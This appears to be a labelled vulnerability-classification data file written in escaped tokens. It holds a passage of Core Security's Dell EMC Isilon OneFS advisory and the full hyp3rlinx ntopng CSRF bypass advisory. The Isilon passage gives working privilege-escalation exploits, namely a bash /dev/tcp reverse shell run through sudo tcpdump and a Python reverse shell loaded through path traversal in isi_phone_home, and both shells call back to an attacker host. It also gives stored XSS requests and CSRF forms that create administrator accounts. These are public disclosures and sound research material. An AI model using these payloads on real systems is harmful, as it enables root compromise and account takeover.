me<double<underscore>quote>:<double<underscore>quote>Remote<NEWLINE>Support<double<underscore>quote>,<double<underscore>quote>read<underscore>only<double<underscore>quote>:false},{<double<underscore>quote>id<double<underscore>quote>:<double<underscore>quote>ISI<underscore>PRIV<underscore>LOGIN<underscore>SSH<double<underscore>quote>,<double<underscore>quote>name<double<underscore>quote>:<double<underscore>quote>SSH<double<underscore>quote>,<double<underscore>quote>read<underscore>only<double<underscore>quote>:true}]}<double<underscore>quote><NEWLINE>value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><<slash>form><NEWLINE><script><NEWLINE>document.getElementById(<double<underscore>quote>addUser<double<underscore>quote>).submit();<NEWLINE>window.setTimeout(function() {<NEWLINE>document.getElementById(<double<underscore>quote>addRole<double<underscore>quote>).submit() }, 1000);<NEWLINE><<slash>script><NEWLINE><<slash>body><NEWLINE><<slash>html><NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><slash><NEWLINE>7.2. **Privilege escalation due to incorrect sudo permissions**<NEWLINE>[CVE<hyphen>2018<hyphen>1203]<NEWLINE>The compadmin user can run the tcpdump binary with root privileges via<NEWLINE>sudo. This allows for local privilege escalation, as tcpdump can be<NEWLINE>instructed to run shell commands when rotating capture files.<NEWLINE><slash><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>pepe<hyphen>1$ id<NEWLINE>uid=11(compadmin) gid=0(wheel) groups=0(wheel),1(daemon)<NEWLINE>pepe<hyphen>1$ cat <slash>tmp<slash>lala.sh<NEWLINE>bash <hyphen>i >& <slash>dev<slash>tcp<slash>192.168.1.66<slash>8888 0>&1<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><slash><NEWLINE>Once the desired shell script is in place, the attacker can run tcpdump<NEWLINE>as follows to trigger the execution:<NEWLINE><slash><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>pepe<hyphen>1$ sudo tcpdump <hyphen>i em0 <hyphen>G 1 <hyphen>z <slash>tmp<slash>lala.sh <hyphen>w dump<NEWLINE>tcpdump: WARNING: unable to contact casperd<NEWLINE>tcpdump: listening on em0, link<hyphen>type EN10MB (Ethernet), capture size<NEWLINE>65535 bytes<NEWLINE><slash>tmp<slash>lala.sh: connect: Connection refused<NEWLINE><slash>tmp<slash>lala.sh: line 3: <slash>dev<slash>tcp<slash>192.168.1.66<slash>8888: Connection refused<NEWLINE><slash>tmp<slash>lala.sh: connect: Connection refused<NEWLINE><slash>tmp<slash>lala.sh: line 3: <slash>dev<slash>tcp<slash>192.168.1.66<slash>8888: Connection refused<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><slash><NEWLINE>As can be seen below, the script runs with root privileges:<NEWLINE><slash><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>$ nc <hyphen>lvp 8888<NEWLINE>Listening on [0.0.0.0] (family 0, port 8888)<NEWLINE>Connection from [192.168.1.11] port 8888 [tcp<slash>*] accepted (family 2,<NEWLINE>sport 57692)<NEWLINE>bash: no job control in this shell<NEWLINE>[root@pepe<hyphen>1 <slash>compadmin]<NEWLINE>uid=0(root) gid=0(wheel)<NEWLINE>groups=0(wheel),5(operator),10(admin),20(staff),70(ifs)<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><slash><NEWLINE>7.3. **Privilege escalation via remote support scripts**<NEWLINE>[CVE<hyphen>2018<hyphen>1204]<NEWLINE>From the documentation:<NEWLINE><double<underscore>quote>OneFS allows remote support through EMC Secure Remote Services (ESRS)<NEWLINE>which monitors your EMC Isilon cluster, and with your permission, allows<NEWLINE>remote access to Isilon Technical Support personnel to gather cluster<NEWLINE>data and troubleshoot issues.<double<underscore>quote><NEWLINE><double<underscore>quote>After you enable remote support through ESRS, Isilon Technical Support<NEWLINE>personnel can request logs with scripts that gather EMC Isilon cluster<NEWLINE>data and then upload the data.<NEWLINE>The remote support scripts based on the Isilon isi<underscore>gather<underscore>info<NEWLINE>log<hyphen>gathering tool are located in the <slash>ifs<slash>data<slash>Isilon<underscore>Support<slash><NEWLINE>directory on each node.<double<underscore>quote><NEWLINE><double<underscore>quote>Additionally, isi<underscore>phone<underscore>home, a tool that focuses on cluster<hyphen> and<NEWLINE>node<hyphen>specific data, is enabled once you enable ESRS. This tool is<NEWLINE>pre<hyphen>set to send information about your cluster to Isilon Technical<NEWLINE>Support on a weekly basis. You can disable or enable isi<underscore>phone<underscore>home from<NEWLINE>the OneFS command<hyphen>line interface.<double<underscore>quote><NEWLINE>As a cluster administrator or compadmin, it is possible to enable the<NEWLINE>remote support functionality, hence enabling the isi<underscore>phone<underscore>home tool via<NEWLINE>sudo. This tool is vulnerable to a path traversal when reading the<NEWLINE>script file to run, which would enable an attacker to execute arbitrary<NEWLINE>python code with root privileges.<NEWLINE>If remote support is not enabled, an attacker could perform the<NEWLINE>following operations in order to enable it:<NEWLINE><slash><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>pepe<hyphen>1$ sudo isi network subnets create 1 ipv4 1<NEWLINE>pepe<hyphen>1$ sudo isi network pools create 1.0<NEWLINE>pepe<hyphen>1$ sudo isi remotesupport connectemc modify <hyphen><hyphen>enabled=yes<NEWLINE><hyphen><hyphen>primary<hyphen>esrs<hyphen>gateway=10.10.10.10 <hyphen><hyphen>use<hyphen>smtp<hyphen>failover=no<NEWLINE><hyphen><hyphen>gateway<hyphen>access<hyphen>pools=1.0<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><slash><NEWLINE>The isi<underscore>phone<underscore>home tool is supposed to run scripts located in the<NEWLINE>root<hyphen>only writable directory <slash>usr<slash>local<slash>isi<underscore>phone<underscore>home<slash>script.<NEWLINE>However, the provided script name is used to construct the file path<NEWLINE>without sanitization, allowing an attacker to reference other locations.<NEWLINE><slash><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>def run<underscore>script(script<underscore>file<underscore>name):<NEWLINE>script<underscore>path = CFG.get(<single<underscore>quote>SCRIPTDIR<single<underscore>quote>) + <single<underscore>quote><slash><single<underscore>quote> + script<underscore>file<underscore>name<NEWLINE>if os.path.isfile(script<underscore>path):<NEWLINE>cmd = <single<underscore>quote>python <single<underscore>quote> + script<underscore>path + <single<underscore>quote> 2>&1 <single<underscore>quote><NEWLINE>command<underscore>thread = command.Command(cmd)<NEWLINE>exit<underscore>code, output =<NEWLINE>command<underscore>thread.run(int(CFG.get(<double<underscore>quote>SCRIPT<underscore>TIEMOUT<double<underscore>quote>)))<NEWLINE>if exit<underscore>code:<NEWLINE>logging.error(<double<underscore>quote>Error: {0} running script: {1}<NEWLINE><double<underscore>quote>.format(str(exit<underscore>code), output))<NEWLINE>else:<NEWLINE>logging.error(<double<underscore>quote>File: {0} list<underscore>file<underscore>name doesn<single<underscore>quote>t exist<NEWLINE><double<underscore>quote>.format(script<underscore>path))<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><slash><NEWLINE>The final step would be to create a malicious python script on any<NEWLINE>writable location and call it via the isi<underscore>phone<underscore>tool using sudo.<NEWLINE>Keep in mind that the previous steps are not required if the system does<NEWLINE>already have remote support enabled.<NEWLINE><slash><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>pepe<hyphen>1$ cat <slash>tmp<slash>lala.py<NEWLINE>import socket,subprocess,os<NEWLINE>s=socket.socket(socket.AF<underscore>INET,socket.SOCK<underscore>STREAM)<NEWLINE>s.connect((<double<underscore>quote>192.168.1.66<double<underscore>quote>,8888))<NEWLINE>os.dup2(s.fileno(),0)<NEWLINE>os.dup2(s.fileno(),1)<NEWLINE>os.dup2(s.fileno(),2)<NEWLINE>p=subprocess.call([<double<underscore>quote><slash>bin<slash>sh<double<underscore>quote>,<double<underscore>quote><hyphen>i<double<underscore>quote>])<NEWLINE>pepe<hyphen>1$ sudo <slash>usr<slash>bin<slash>isi<underscore>phone<underscore>home <hyphen><hyphen>script<hyphen>file<NEWLINE>..<slash>..<slash>..<slash>..<slash>..<slash>tmp<slash>lala.py<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><slash><NEWLINE><slash><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>$ nc <hyphen>lvp 8888<NEWLINE>Listening on [0.0.0.0] (family 0, port 8888)<NEWLINE>Connection from [192.168.1.11] port 8888 [tcp<slash>*] accepted (family 2,<NEWLINE>sport 56807)<NEWLINE>pepe<hyphen>1<NEWLINE>uid=0(root) gid=0(wheel)<NEWLINE>groups=0(wheel),5(operator),10(admin),20(staff),70(ifs)<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><slash><NEWLINE>7.4. *Persistent cross<hyphen>site scripting in the cluster description*<NEWLINE>[CVE<hyphen>2018<hyphen>1186]<NEWLINE>The description parameter of the <slash>cluster<slash>identity endpoint is<NEWLINE>vulnerable to cross<hyphen>site scripting.<NEWLINE>After the cluster<single<underscore>quote>s description is updated, the payload will be executed<NEWLINE>every time the user opens the Web console.<NEWLINE><slash><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>PUT <slash>platform<slash>3<slash>cluster<slash>identity HTTP<slash>1.1<NEWLINE>Host: 192.168.1.11:8080<NEWLINE>User<hyphen>Agent: Mozilla<slash>5.0 (X11; Ubuntu; Linux x86<underscore>64; rv:55.0)<NEWLINE>Gecko<slash>20100101 Firefox<slash>55.0<NEWLINE>Accept: *<slash>*<NEWLINE>Accept<hyphen>Language: en<hyphen>US,en;q=0.5<NEWLINE>Content<hyphen>Type: application<slash>json<NEWLINE>X<hyphen>Requested<hyphen>With: XMLHttpRequest<NEWLINE>Content<hyphen>Length: 61<NEWLINE>Cookie: isisessid=91835dd1<hyphen>49de<hyphen>4d40<hyphen>9f09<hyphen>94f6d029df24;<NEWLINE>Connection: close<NEWLINE>{<double<underscore>quote>description<double<underscore>quote>:<double<underscore>quote>my cluster<img src=x onerror=<backslash><double<underscore>quote>alert(1)<backslash><double<underscore>quote><slash>><double<underscore>quote>}<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><slash><NEWLINE>7.5. **Persistent cross<hyphen>site scripting in the Network Configuration page**<NEWLINE>[CVE<hyphen>2018<hyphen>1187]<NEWLINE>The description parameter of the <slash>network<slash>groupnets endpoint is<NEWLINE>vulnerable to cross<hyphen>site scripting.<NEWLINE>After the description is updated, the payload will be executed every<NEWLINE>time the user opens the network configuration page.<NEWLINE><slash><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>POST <slash>platform<slash>4<slash>network<slash>groupnets HTTP<slash>1.1<NEWLINE>Host: 192.168.1.11:8080<NEWLINE>User<hyphen>Agent: Mozilla<slash>5.0 (X11; Ubuntu; Linux x86<underscore>64; rv:55.0)<NEWLINE>Gecko<slash>20100101 Firefox<slash>55.0<NEWLINE>Accept: *<slash>*<NEWLINE>Accept<hyphen>Language: en<hyphen>US,en;q=0.5<NEWLINE>Content<hyphen>Type: application<slash>json<NEWLINE>Content<hyphen>Length: 186<NEWLINE>Cookie: isisessid=31f92221<hyphen>15bb<hyphen>421d<hyphen>be00<hyphen>d2bf42964c41;<NEWLINE>Connection: close<NEWLINE>{<double<underscore>quote>description<double<underscore>quote>:<double<underscore>quote>lala<script>alert(1)<<slash>script><double<underscore>quote>,<double<underscore>quote>dns<underscore>cache<underscore>enabled<double<underscore>quote>:true,<double<underscore>quote>dns<underscore>options<double<underscore>quote>:[],<double<underscore>quote>dns<underscore>search<double<underscore>quote>:[],<double<underscore>quote>dns<underscore>servers<double<underscore>quote>:[],<double<underscore>quote>name<double<underscore>quote>:<double<underscore>quote>pepito2<double<underscore>quote>,<double<underscore>quote>server<underscore>side<underscore>dns<underscore>search<double<underscore>quote>:false}<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><slash><NEWLINE>7.6. **Persistent cross<hyphen>site scripting in the Authentication Providers<NEWLINE>page**<NEWLINE>[CVE<hyphen>2018<hyphen>1188]<NEWLINE>The realm parameter of the <slash>auth<slash>settings<slash>krb5<slash>realms endpoint is<NEWLINE>vulnerable to cross<hyphen>site scripting.<NEWLINE>After the realm is updated, the payload will be executed every time the<NEWLINE>user opens the Kerberos tab of the Authentication Providers page.<NEWLINE><slash><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>POST <slash>platform<slash>1<slash>auth<slash>settings<slash>krb5<slash>realms HTTP<slash>1.1<NEWLINE>Host: 192.168.1.11:8080<NEWLINE>User<hyphen>Agent: Mozilla<slash>5.0 (X11; Ubuntu; Linux x86<underscore>64; rv:55.0)<NEWLINE>Gecko<slash>20100101 Firefox<slash>55.0<NEWLINE>Accept: *<slash>*<NEWLINE>Accept<hyphen>Language: en<hyphen>US,en;q=0.5<NEWLINE>Content<hyphen>Type: application<slash>json<NEWLINE>Content<hyphen>Length: 78<NEWLINE>Cookie: isisessid=31f92221<hyphen>15bb<hyphen>421d<hyphen>be00<hyphen>d2bf42964c41;<NEWLINE>Connection: close<NEWLINE>{<double<underscore>quote>is<underscore>default<underscore>realm<double<underscore>quote>:true,<double<underscore>quote>kdc<double<underscore>quote>:[],<double<underscore>quote>realm<double<underscore>quote>:<double<underscore>quote>ASDASD<img src=x<NEWLINE>onerror=alert(1)<double<underscore>quote>}<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><slash><NEWLINE>7.7. **Persistent cross<hyphen>site scripting in the Antivirus page**<NEWLINE>[CVE<hyphen>2018<hyphen>1189]<NEWLINE>The name parameter of the <slash>antivirus<slash>policies endpoint is vulnerable to<NEWLINE>cross<hyphen>site scripting.<NEWLINE>After the name is updated, the payload will be executed every time the<NEWLINE>user opens the Antivirus page.<NEWLINE><slash><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>POST <slash>platform<slash>3<slash>antivirus<slash>policies HTTP<slash>1.1<NEWLINE>Host: 192.168.1.11:8080<NEWLINE>User<hyphen>Agent: Mozilla<slash>5.0 (X11; Ubuntu; Linux x86<underscore>64; rv:55.0)<NEWLINE>Gecko<slash>20100101 Firefox<slash>55.0<NEWLINE>Accept: *<slash>*<NEWLINE>Accept<hyphen>Language: en<hyphen>US,en;q=0.5<NEWLINE>Content<hyphen>Type: application<slash>json<NEWLINE>Content<hyphen>Length: 172<NEWLINE>Cookie: isisessid=c6903f55<hyphen>43e7<hyphen>42e2<hyphen>b587<hyphen>9f68142c3e06;<NEWLINE>Connection: close<NEWLINE>{<double<underscore>quote>name<double<underscore>quote>:<double<underscore>quote>pepe<img src=x<NEWLINE>onerror=<backslash><double<underscore>quote>alert(1)<backslash><double<underscore>quote><slash>><double<underscore>quote>,<double<underscore>quote>description<double<underscore>quote>:<double<underscore>quote>pepito<double<underscore>quote>,<double<underscore>quote>enabled<double<underscore>quote>:true,<double<underscore>quote>force<underscore>run<double<underscore>quote>:false,<double<underscore>quote>impact<double<underscore>quote>:null,<double<underscore>quote>paths<double<underscore>quote>:[<double<underscore>quote><slash>ifs<double<underscore>quote>],<double<underscore>quote>recursion<underscore>depth<double<underscore>quote>:<hyphen>1,<double<underscore>quote>schedule<double<underscore>quote>:null}<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><slash><NEWLINE>7.8. **Persistent cross<hyphen>site scripting in the Job Operations page**<NEWLINE>[CVE<hyphen>2018<hyphen>1201]<NEWLINE>The description parameter of the <slash>job<slash>policies endpoint is vulnerable to<NEWLINE>cross<hyphen>site scripting.<NEWLINE>After the description is updated, the payload will be executed every<NEWLINE>time the user opens the Impact Policies section of the Job Operations<NEWLINE>page.<NEWLINE><slash><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>POST <slash>platform<slash>1<slash>job<slash>policies HTTP<slash>1.1<NEWLINE>Host: 192.168.1.11:8080<NEWLINE>User<hyphen>Agent: Mozilla<slash>5.0 (X11; Linux x86<underscore>64; rv:45.0) Gecko<slash>20100101<NEWLINE>Firefox<slash>45.0<NEWLINE>Accept: text<slash>html,application<slash>xhtml+xml,application<slash>xml;q=0.9,*<slash>*;q=0.8<NEWLINE>Accept<hyphen>Language: en<hyphen>US,en;q=0.5<NEWLINE>Accept<hyphen>Encoding: gzip, deflate<NEWLINE>Content<hyphen>Type: application<slash>json<NEWLINE>X<hyphen>Requested<hyphen>With: XMLHttpRequest<NEWLINE>Content<hyphen>Length: 210<NEWLINE>Cookie: isisessid=8a5026c0<hyphen>f045<hyphen>4505<hyphen>9d2b<hyphen>ae83bc90f8ea;<NEWLINE>Connection: close<NEWLINE>{<double<underscore>quote>name<double<underscore>quote>:<double<underscore>quote>my policy<double<underscore>quote>,<double<underscore>quote>description<double<underscore>quote>:<double<underscore>quote><img src=x<NEWLINE>onerror=<backslash><double<underscore>quote>alert(1)<backslash><double<underscore>quote><slash>><double<underscore>quote>,<double<underscore>quote>intervals<double<underscore>quote>:[{<double<underscore>quote>begin<double<underscore>quote>:<double<underscore>quote>Sunday<NEWLINE>00:00<double<underscore>quote>,<double<underscore>quote>end<double<underscore>quote>:<double<underscore>quote>Sunday<NEWLINE>00:00<double<underscore>quote>,<double<underscore>quote>impact<double<underscore>quote>:<double<underscore>quote>Low<double<underscore>quote>},{<double<underscore>quote>impact<double<underscore>quote>:<double<underscore>quote>Low<double<underscore>quote>,<double<underscore>quote>begin<double<underscore>quote>:<double<underscore>quote>Sunday<NEWLINE>01:03<double<underscore>quote>,<double<underscore>quote>end<double<underscore>quote>:<double<underscore>quote>Monday 01:01<double<underscore>quote>}]}<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><slash><NEWLINE>7.9. **Persistent cross<hyphen>site scripting in the NDMP page**<NEWLINE>[CVE<hyphen>2018<hyphen>1202]<NEWLINE>The name parameter of the <slash>protocols<slash>ndmp<slash>users endpoint is vulnerable<NEWLINE>to cross<hyphen>site scripting.<NEWLINE>After the name is updated, the payload will be executed every time the<NEWLINE>user opens the NDMP Settings section of the NDMP page.<NEWLINE><slash><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>POST <slash>platform<slash>3<slash>protocols<slash>ndmp<slash>users HTTP<slash>1.1<NEWLINE>Host: 192.168.1.11:8080<NEWLINE>User<hyphen>Agent: Mozilla<slash>5.0 (X11; Ubuntu; Linux x86<underscore>64; rv:55.0)<NEWLINE>Gecko<slash>20100101 Firefox<slash>55.0<NEWLINE>Accept: *<slash>*<NEWLINE>Accept<hyphen>Language: en<hyphen>US,en;q=0.5<NEWLINE>Accept<hyphen>Encoding: gzip, deflate<NEWLINE>Content<hyphen>Type: application<slash>json<NEWLINE>X<hyphen>Requested<hyphen>With: XMLHttpRequest<NEWLINE>Content<hyphen>Length: 64<NEWLINE>Cookie: isisessid=91835dd1<hyphen>49de<hyphen>4d40<hyphen>9f09<hyphen>94f6d029df24;<NEWLINE>Connection: close<NEWLINE>{<double<underscore>quote>name<double<underscore>quote>:<double<underscore>quote><img src=x onerror=<backslash><double<underscore>quote>alert(1)<backslash><double<underscore>quote><slash>><double<underscore>quote>,<double<underscore>quote>password<double<underscore>quote>:<double<underscore>quote>123123<double<underscore>quote>}<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><slash><NEWLINE>8. **Report Timeline**<NEWLINE>2017<hyphen>09<hyphen>25: Core Security sent an initial notification to Dell EMC,<NEWLINE>including a draft advisory.<NEWLINE>2017<hyphen>09<hyphen>26: Dell EMC confirmed reception and informed an initial<NEWLINE>response would be ready by October 5th.<NEWLINE>2017<hyphen>10<hyphen>05: Dell EMC confirmed problem exists for all vulnerabilities<NEWLINE>reported except one, for which evaluation will be finalized soon. Dell<NEWLINE>EMC stated that, for the confirmed issues, a remediation plan will be<NEWLINE>provided by 10<slash>16.<NEWLINE>2017<hyphen>10<hyphen>05: Core Security thanked the follow up email.<NEWLINE>2017<hyphen>10<hyphen>06: Dell EMC reported an update on one privilege escalation<NEWLINE>vulnerability reported, stating that <single<underscore>quote>ISI<underscore>PRIV<underscore>AUTH, and ISI<underscore>PRIV<underscore>ROLE<NEWLINE>both are equivalent to admin level access<single<underscore>quote>. They said they will be<NEWLINE>updating the documentation to make it clearer.<NEWLINE>2017<hyphen>10<hyphen>11: Core Security thanked for the clarification and confirmed<NEWLINE>that section will be removed from the final advisory.<NEWLINE>2017<hyphen>10<hyphen>16: Dell EMC sent a schedule for fixing six of the reported<NEWLINE>vulnerabilities, with specific dates for every product<single<underscore>quote>s version.<NEWLINE>2017<hyphen>10<hyphen>16: Core Security thanked the information and said it will<NEWLINE>analyze the proposals sent once all the data is available.<NEWLINE>2017<hyphen>10<hyphen>19: Dell EMC sent a schedule for the remaining three reported<NEWLINE>vulnerabilities, with specific dates for every product<single<underscore>quote>s version.<NEWLINE>2017<hyphen>10<hyphen>31: Core Security on the schedule sent, stating that fixing the<NEWLINE>vulnerabilities by June 2018 is unacceptable given current industry<NEWLINE>standards. Requested a review of the timeline or a thorough explanation<NEWLINE>that justifies such delay.<NEWLINE>2017<hyphen>11<hyphen>01: Dell EMC answered back stating that after reviewing the<NEWLINE>original schedule, they said they believe they could have fixes ready<NEWLINE>for versions 8.0.x and 8.1.x by January 2018. Only caveat is the<NEWLINE>vulnerability 7.1 that might be pushed past January, although they said<NEWLINE>they think they could meet the January deadline.<NEWLINE>2017<hyphen>11<hyphen>13: Core Security thanked Dell<single<underscore>quote>s review of the release dates and<NEWLINE>agreed on the proposed schedule, stating Core Security would like to<NEWLINE>publish a single advisory for all the vulnerabilities reported.<NEWLINE>Also requested CVE IDs for<NEWLINE>each of the issues.<NEWLINE>2018<hyphen>01<hyphen>16: Core Security asked for a status update on the release date<NEWLINE>for the fixes since there was no update from Dell EMC.<NEWLINE>2018<hyphen>01<hyphen>17: Dell EMC answered back stating they are awaiting<NEWLINE>confirmation from the product team about the exact dates of release.<NEWLINE>They said they will get back to us by the end of this week. Dell EMC<NEWLINE>also asked our GPG public key again.<NEWLINE>2018<hyphen>01<hyphen>18: Core Security thanked for the update and sent the advisory<single<underscore>quote>s<NEWLINE>public GPG key.<NEWLINE>2018<hyphen>01<hyphen>19: Dell EMC stated they are currently working on drafting their<NEWLINE>advisory and will send it back to us (including CVEs) once they have the<NEWLINE>necessary approvals.<NEWLINE>2018<hyphen>01<hyphen>23: Dell EMC asked for our updated draft advisory.<NEWLINE>2018<hyphen>01<hyphen>23: Core Security sent the updated draft advisory to Dell EMC.<NEWLINE>2018<hyphen>01<hyphen>25: Dell EMC notified that the team are targeting to have the<NEWLINE>fix available by February 12th. Additionally, Dell will send its draft<NEWLINE>advisory by January 31th.<NEWLINE>2018<hyphen>01<hyphen>29: Core Security thanked for the update and proposed February<NEWLINE>14th as publication date.<NEWLINE>2018<hyphen>01<hyphen>31: Dell EMC informed Core Security that they agreed to release<NEWLINE>on February 14th. They also provided CVE IDs for each vulnerability<NEWLINE>reported.<NEWLINE>2018<hyphen>02<hyphen>01: Dell EMC sent its draft advisory.<NEWLINE>2018<hyphen>02<hyphen>14: Advisory CORE<hyphen>2017<hyphen>0009 published.<NEWLINE>9. **References**<NEWLINE>[1]<NEWLINE>https:<slash><slash>www.dellemc.com<slash>en<hyphen>us<slash>storage<slash>isilon<slash>onefs<hyphen>operating<hyphen>system.htm<NEWLINE>10. **About CoreLabs**<NEWLINE>CoreLabs, the research center of Core Security, is charged with<NEWLINE>anticipating the future needs and requirements for information security<NEWLINE>technologies.<NEWLINE>We conduct our research in several important areas of computer security<NEWLINE>including system vulnerabilities, cyber attack planning and simulation,<NEWLINE>source code auditing, and cryptography. Our results include problem<NEWLINE>formalization, identification of vulnerabilities, novel solutions and<NEWLINE>prototypes for new technologies. CoreLabs regularly publishes security<NEWLINE>advisories, technical papers, project information and shared software<NEWLINE>tools for public use at: http:<slash><slash>corelabs.coresecurity.com.<NEWLINE>11. **About Core Security**<NEWLINE>Core Security provides companies with the security insight they need to<NEWLINE>know who, how, and what is vulnerable in their organization. The<NEWLINE>company<single<underscore>quote>s threat<hyphen>aware, identity & access, network security, and<NEWLINE>vulnerability management solutions provide actionable insight and<NEWLINE>context needed to manage security risks across the enterprise. This<NEWLINE>shared insight gives customers a comprehensive view of their security<NEWLINE>posture to make better security remediation decisions. Better insight<NEWLINE>allows organizations to prioritize their efforts to protect critical<NEWLINE>assets, take action sooner to mitigate access risk, and react faster if<NEWLINE>a breach does occur.<NEWLINE>Core Security is headquartered in the USA with offices and operations in<NEWLINE>South America, Europe, Middle East and Asia. To learn more, contact Core<NEWLINE>Security at (678) 304<hyphen>4500 or info@coresecurity.com<NEWLINE>12. **Disclaimer**<NEWLINE>The contents of this advisory are copyright (c) 2017 Core Security and<NEWLINE>(c) 2017 CoreLabs, and are licensed under a Creative Commons Attribution<NEWLINE>Non<hyphen>Commercial Share<hyphen>Alike 3.0 (United States) License:<NEWLINE>http:<slash><slash>creativecommons.org<slash>licenses<slash>by<hyphen>nc<hyphen>sa<slash>3.0<slash>us<slash> | 1 |
please judge the source code for vulnerabilities. | [+]<NEWLINE>[+] Credits <slash> Discovery: John Page AKA Hyp3rlinX<NEWLINE>[+] Website: hyp3rlinx.altervista.org<NEWLINE>[+] Source: http:<slash><slash>hyp3rlinx.altervista.org<slash>advisories<slash>NTOPNG<hyphen>CSRF<hyphen>TOKEN<hyphen>BYPASS.txt<NEWLINE>[+] ISR: ApparitionSEC<NEWLINE>[+]<NEWLINE>Vendor:<NEWLINE>============<NEWLINE>www.ntop.org<NEWLINE>Product:<NEWLINE>====================<NEWLINE>ntopng Web Interface<NEWLINE>v2.4.160627<NEWLINE>ntopng is the next generation version of the original ntop, a network<NEWLINE>traffic probe that shows the network usage, similar<NEWLINE>to what the popular top Unix command does. ntopng is based on libpcap and<NEWLINE>it has been written in a portable way in order to<NEWLINE>virtually run on every Unix platform, MacOSX and on Windows as well.<NEWLINE>Vulnerability Type:<NEWLINE>==================<NEWLINE>CSRF Token Bypass<NEWLINE>CVE Reference:<NEWLINE>================<NEWLINE>CVE<hyphen>2017<hyphen>5473<NEWLINE>Security Issue:<NEWLINE>=================<NEWLINE>By simply omitting the CSRF token or supplying arbitrary token values will<NEWLINE>bypass CSRF protection when making HTTP requests,<NEWLINE>to the ntopng web interface. Allowing remote attackers the rights to make<NEWLINE>HTTP requests on an authenticated users behalf, if<NEWLINE>the user clicks an malicious link or visits an attacker webpage etc.<NEWLINE>Exploit<slash>POC:<NEWLINE>============<NEWLINE>1) Change admin password<NEWLINE>http:<slash><slash>VICTIM<hyphen>SERVER:3000<slash>lua<slash>admin<slash>password<underscore>reset.lua?csrf=NOT<hyphen>EVEN<hyphen>CHECKED&username=admin&new<underscore>password=xyz123&confirm<underscore>new<underscore>password=xyz123<NEWLINE>2) Add arbitrary<NEWLINE><form action=<double<underscore>quote><NEWLINE>http:<slash><slash>VICTIM<hyphen>SERVER:3000<slash>lua<slash>admin<slash>add<underscore>user.lua?csrf=NOT<hyphen>EVEN<hyphen>CHECKED<double<underscore>quote><NEWLINE>method=<double<underscore>quote>GET<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>username<double<underscore>quote> value=<double<underscore>quote>hyp3rlinx<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>full<underscore>name<double<underscore>quote> value=<double<underscore>quote>TheApparitioN<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>password<double<underscore>quote> value=<double<underscore>quote>abc123<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>confirm<underscore>password<double<underscore>quote> value=<double<underscore>quote>abc123<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>host<underscore>role<double<underscore>quote> value=<double<underscore>quote>administrator<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>allowed<underscore>networks<double<underscore>quote> value=<double<underscore>quote>0.0.0.0<slash>,::<slash><double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>allowed<underscore>interface<double<underscore>quote> value=<double<underscore>quote>HTTP<slash>1.1<double<underscore>quote>><NEWLINE><script>document.forms[0].submit()<<slash>script><NEWLINE><<slash>form><NEWLINE>Disclosure Timeline:<NEWLINE>=====================<NEWLINE>Vendor Notification: January 11, 2017<NEWLINE>Vendor acknowledgement: January 12, 2017<NEWLINE>Vendor Fixed Issue<NEWLINE>January 20, 2017 : Public Disclosure<NEWLINE>Network Access:<NEWLINE>===============<NEWLINE>Remote<NEWLINE>Impact:<NEWLINE>======================<NEWLINE>Information Disclosure<NEWLINE>Privilege Escalation<NEWLINE>Severity:<NEWLINE>===========<NEWLINE>High<NEWLINE>[+] Disclaimer<NEWLINE>The information contained within this advisory is supplied <double<underscore>quote>as<hyphen>is<double<underscore>quote> with no<NEWLINE>warranties or guarantees of fitness of use or otherwise.<NEWLINE>Permission is hereby granted for the redistribution of this advisory,<NEWLINE>provided that it is not altered except by reformatting it, and<NEWLINE>that due credit is given. Permission is explicitly given for insertion in<NEWLINE>vulnerability databases and similar, provided that due credit<NEWLINE>is given to the author. The author is not responsible for any misuse of the<NEWLINE>information contained herein and accepts no responsibility<NEWLINE>for any damage caused by the use or misuse of this information. The author<NEWLINE>prohibits any malicious use of security related information<NEWLINE>or exploits by the author or elsewhere. All content (c) HYP3RLINX <hyphen><NEWLINE>Apparition | 1 |
